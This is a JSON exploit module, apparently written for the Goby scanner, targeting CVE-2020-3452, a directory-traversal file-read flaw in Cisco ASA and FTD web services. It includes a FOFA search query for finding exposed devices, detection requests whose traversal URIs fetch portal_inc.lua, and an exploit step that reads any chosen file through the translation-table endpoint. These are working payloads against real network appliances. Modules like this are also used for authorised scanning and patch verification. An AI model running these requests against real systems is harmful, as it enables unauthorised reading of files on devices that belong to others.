{
  "Name": "Cisco ASA and FTD File Read (CVE-2020-3452)",
  "Description": "A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.",
  "Product": "Cisco ASA, Cisco FTD, Cisco VPN",
  "Homepage": "https://www.cisco.com/",
  "DisclosureDate": "2020-07-22",
  "Author": "itardc@163.com",
  "FofaQuery": "app=\"Cisco-ASA\" || app=\"Cisco-VPN\" || app=\"Cisco-Firepower\"",
  "GobyQuery": "",
  "Level": "2",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86",
    "https://nvd.nist.gov/vuln/detail/CVE-2020-3452",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3452"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "file",
      "type": "createSelect",
      "value": "/portal_inc.lua,/include/common.lua,/include/browser_inc.lua",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "OR",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua"
      },
      "ResponseTest": {
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$head",
            "operation": "contains",
            "value": "Content-Type: application/octet-stream",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "INTERNAL_PASSWORD_ENABLED",
            "bz": ""
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    },
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
      },
      "ResponseTest": {
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$head",
            "operation": "contains",
            "value": "Content-Type: application/octet-stream",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "INTERNAL_PASSWORD_ENABLED",
            "bz": ""
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b{{{file}}}&default-language&lang=../"
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": ["fileread"],
  "CVEIDs": [
    "CVE-2020-3452"
  ],
  "CVSSScore": "N/A",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": ["Cisco ASA", "Cisco FTD"]
  }
}